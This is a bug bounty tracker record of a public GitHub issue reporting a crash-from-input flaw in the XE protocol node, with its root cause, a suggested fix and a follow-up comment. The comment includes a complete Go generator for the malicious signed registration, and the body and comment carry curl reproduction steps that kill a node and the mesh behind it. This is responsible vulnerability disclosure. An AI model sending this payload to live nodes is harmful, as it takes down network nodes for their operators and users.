{"id":"XE-0006","kind":"bounty","visibility":"public","source":"github","source_repo":"xeprotocol/xe","source_ref":"15","source_url":"https://github.com/xeprotocol/xe/issues/15","reporter_id":5,"title":"Unauthenticated POST /directory/register kills every node in the mesh","area":"consensus","claimed_tier":"severe","assessed_tier":"severe","verdict":"valid","duplicate_of":null,"tracked":true,"internal_ref":"#1028","internal_url":"https://github.com/xeprotocol/core/issues/1028","status":"awarded","closed_reason":null,"github_state":"open","disclosed_at":null,"award_xe":12500000000,"award_approved":true,"paid_ref":"","created_at":"2026-10-29T13:57:13.447932+00:00","updated_at":"2026-11-07T14:52:30.859075+00:00","source_created_at":"2026-10-23T10:01:53+00:00","told_at":null,"status_changed_at":"2026-11-05T22:12:27.460898+00:00","url":"https://bounty.xe.network/XE-0006","body":"Why this is a public issue. Your policy routes Severe findings to security@xe.network first. That address bounced with \"address not found\", so I am filing here. Happy to move this to a private channel if one exists.\n\nnode.handleDirectoryGossip slices reg.NodePeer[:12] as an argument to logging.Debugf. Go evaluates arguments before the call, so it panics at the default --log-level info.\n\ndirectory.VerifyRegistration (directory/verify.go:29-53) only rejects an empty node_peer, and canonicalBytes is length-prefixed, so a one-byte node_peer still yields a valid ed25519 signature.\n\nPOST /directory/register needs no auth. The node verifies the signature, accepts, publishes on xe/directory, then the consuming goroutine panics. No recover there, so the process exits code 2. Every peer receiving the registration dies the same way.\n\nnode/node.go:2381:\n\nlogging.Debugf(\"directory: accepted registration for %s on %s\",\n    shortAddr(reg.Account), reg.NodePeer[:12])\n\n\nlogging.Debugf is a plain function (logging/logging.go:154), so the slice runs even at info level. net/msg.go:71 has a recover, but that is the P2P stream, a different path.\n\ngit clone https://github.com/xeprotocol/xe && cd xe\ngo build -o /tmp/xe-node ./cmd/xe\ngo build -o /tmp/gen-reg  ./poc/gen-reg\n/tmp/xe-node node --data /tmp/xev/data --genesis-dir ./genesis/testnet-0005 \\\n  --port 29001 --api-port 28081 --api-bind 127.0.0.1 \\\n  --no-discovery --disable-mdns --metrics-addr \"\" &\ncurl -s -o /dev/null -w '%{http_code}\\n' http://127.0.0.1:28081/node   # 200\n/tmp/gen-reg A > /tmp/reg.json\ncurl -s -i -X POST http://127.0.0.1:28081/directory/register \\\n  -H 'Content-Type: application/json' --data @/tmp/reg.json\n# HTTP/1.1 200 OK  {\"ok\":true}\ncurl -s -o /dev/null -w '%{http_code}\\n' http://127.0.0.1:28081/node\n# curl: (7) Connection refused\n\n\npanic: runtime error: slice bounds out of range [:12] with length 1\nnode.(*Node).handleDirectoryGossip   node/node.go:2381\nnode.New.func30()                    node/node.go:575\n\n\nControls. Same request with node_peer set to a real 52 character peer ID: 200, logged, node alive, 0 panics. So the field length is the cause, not posting a registration. Three nodes chained A-B-C on the same genesis, registration sent to A only: all three proc=DEAD panic=1, and C was never contacted by the attacker. A unit test feeding 1, 3 and 8 byte peer IDs into directory shows both VerifyRegistration and Register accept them.\n\nImpact. The attacker signs their own registration with their own keypair. The kill spreads through the node's own mesh, so the blast radius is set by how far the mesh carries the message.\n\nNot proven. The PoC ran on nodes built from this source with the published genesis, not the live nodes. Firing it at ldn/nyc/ffm.core.test.network would take the public testnet down for every other researcher on it. Live I only confirmed the route is reachable unauthenticated: a bad signature returns 400 {\"error\":\"signature verification failed\"}. Live reports xe/92d83d1; the vulnerable line is present from a47b973 through 9787859. No ledger corruption, no fund loss, availability only.\n\nFix. peer.Decode(reg.NodePeer) in directory/verify.go, shortHash at node.go:2381, and a recover on the goroutine at node.go:575.\n\nPrior art. PR #5, #7, #9, #11 touch directory/ or node/node.go, none touch reg.NodePeer[:12] or handleDirectoryGossip. PR #7 edits verify.go but if reg.NodePeer == \"\" stays the only NodePeer check. Issue #6 is timestamp poisoning and map growth; the only panic in the tracker is #8 Finding 4 in net/sync.go.","patch_refs":[{"id":117,"repo":"xeprotocol/xe","kind":"pr","ref":"27","title":"fix(directory,node): validate NodePeer libp2p peer ID and guard directory gossip against panics","url":"https://github.com/xeprotocol/xe/pull/27","note":"","state":"open","author":"ocakciomursel-pixel","added_by":"desk","created_at":"2026-10-29T13:57:30.091343+00:00"},{"id":191,"repo":"xeprotocol/xe","kind":"pr","ref":"111","title":"","url":"https://github.com/xeprotocol/xe/pull/111","note":"","state":"","author":"","added_by":"desk","created_at":"2026-10-29T14:22:09.061497+00:00"},{"id":192,"repo":"xeprotocol/xe","kind":"pr","ref":"1029","title":"","url":"https://github.com/xeprotocol/xe/pull/1029","note":"","state":"merged","author":"","added_by":"desk","created_at":"2026-10-29T14:22:09.061497+00:00"}],"thread":[{"id":1,"source":"github","source_ref":"6362499028","author":"harismanciripto111","team":false,"body":"Correction to the report above. Two things went wrong when I filed it.\n\n**1. The metadata header was stripped.** GitHub's markdown ate the leading block, so the tier claim and the version tested are missing from the body. They belong at the top:\n\n**Area:** State chain and multisig governance / account directory\n**Suggested tier:** Severe (25,000 XE). Policy row \"Node compromise, ledger loss & network stalls: crash from crafted input\".\n**Version tested:** `978785929bc17a2f4ab30c383e5fc9cf4d634512` (HEAD) with the published `testnet-0005` genesis.\n**CWE:** CWE-248 (Uncaught Exception)\n\n**2. The build instructions in the body point at a directory that does not exist in your repo.** I wrote `go build -o /tmp/gen-reg ./poc/gen-reg`, but `poc/` was my own working directory and is not tracked, so that command fails on a clean clone. Sorry, that is on me. Here is the payload generator in full. Drop it anywhere inside a clone of your repo and it builds:\n\n```go\n// gen-reg/main.go\npackage main\n\n// Emits a cryptographically valid directory registration JSON whose\n// node_peer is short. usage: gen-reg <node_peer> [network_id]\n\nimport (\n \"crypto/ed25519\"\n \"crypto/rand\"\n \"crypto/sha256\"\n \"encoding/binary\"\n \"encoding/hex\"\n \"encoding/json\"\n \"fmt\"\n \"os\"\n \"strconv\"\n \"time\"\n\n \"github.com/xeprotocol/xe/core\"\n \"github.com/xeprotocol/xe/directory\"\n)\n\nconst registrationDomainTag = \"xe/directory-registration/v1\\x00\"\n\nfunc canonicalBytes(account, pubKey, nodePeer string, timestamp int64) []byte {\n var b []byte\n var lenBuf [8]byte\n b = append(b, []byte(registrationDomainTag)...)\n for _, f := range []string{core.GetNetworkID(), account, pubKey, nodePeer, strconv.FormatInt(timestamp, 10)} {\n  binary.BigEndian.PutUint64(lenBuf[:], uint64(len(f)))\n  b = append(b, lenBuf[:]...)\n  b = append(b, []byte(f)...)\n }\n return b\n}\n\nfunc main() {\n nodePeer := \"A\"\n if len(os.Args) > 1 {\n  nodePeer = os.Args[1]\n }\n netID := \"testnet-0005\"\n if len(os.Args) > 2 {\n  netID = os.Args[2]\n }\n core.SetNetworkID(netID)\n\n _, priv, err := ed25519.GenerateKey(rand.Reader)\n if err != nil {\n  panic(err)\n }\n kp := core.KeyPairFromSeed(priv.Seed())\n pub := kp.PubKeyHex()\n account := kp.Address()\n ts := time.Now().UnixNano()\n\n sum := sha256.Sum256(canonicalBytes(account, pub, nodePeer, ts))\n sig := ed25519.Sign(priv, sum[:])\n\n reg := &directory.Registration{\n  Account:   account,\n  PubKey:    pub,\n  NodePeer:  nodePeer,\n  Timestamp: ts,\n  Signature: hex.EncodeToString(sig),\n }\n if err := directory.VerifyRegistration(reg); err != nil {\n  fmt.Fprintln(os.Stderr, \"verify failed:\", err)\n  os.Exit(1)\n }\n out, _ := json.Marshal(reg)\n fmt.Println(string(out))\n}\n```\n\nThe generator runs `directory.VerifyRegistration` on its own output before printing, so if the signature were malformed it would exit non-zero instead of handing you a bad payload. `node_peer` and `network_id` are the two arguments; the timestamp is generated at runtime.\n\nReproduction with the corrected path, run just now on a fresh `git clone --depth 1` of `9787859`:\n\n```\nmkdir -p harness/gen-reg && cp gen-reg.go harness/gen-reg/main.go\ngo build -o /tmp/xe-node ./cmd/xe\ngo build -o /tmp/gen-reg  ./harness/gen-reg\n\n/tmp/xe-node node --data /tmp/xev/data --genesis-dir ./genesis/testnet-0005 \\\n  --port 29001 --api-port 28081 --api-bind 127.0.0.1 \\\n  --no-discovery --disable-mdns --metrics-addr \"\" &\n\ncurl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:28081/node    # 200\n/tmp/gen-reg A > /tmp/reg.json\ncurl -s -o /dev/null -w '%{http_code}' -X POST \\\n  http://127.0.0.1:28081/directory/register \\\n  -H 'Content-Type: application/json' --data @/tmp/reg.json          # 200\nsleep 3\ncurl -s -o /dev/null -w '%{http_code}' http://127.0.0.1:28081/node    # 000\n```\n\n```\nBEFORE: 200\nPOST: 200\nAFTER: 000\npanic count: 1\npanic: runtime error: slice bounds out of range [:12] with length 1\nnode.(*Node).handleDirectoryGossip(...)   node/node.go:2381\n```\n\nNothing else in the report changes. The root cause, the two controls and the three node result stand as written.\n```","created_at":"2026-10-23T10:08:30+00:00"}]}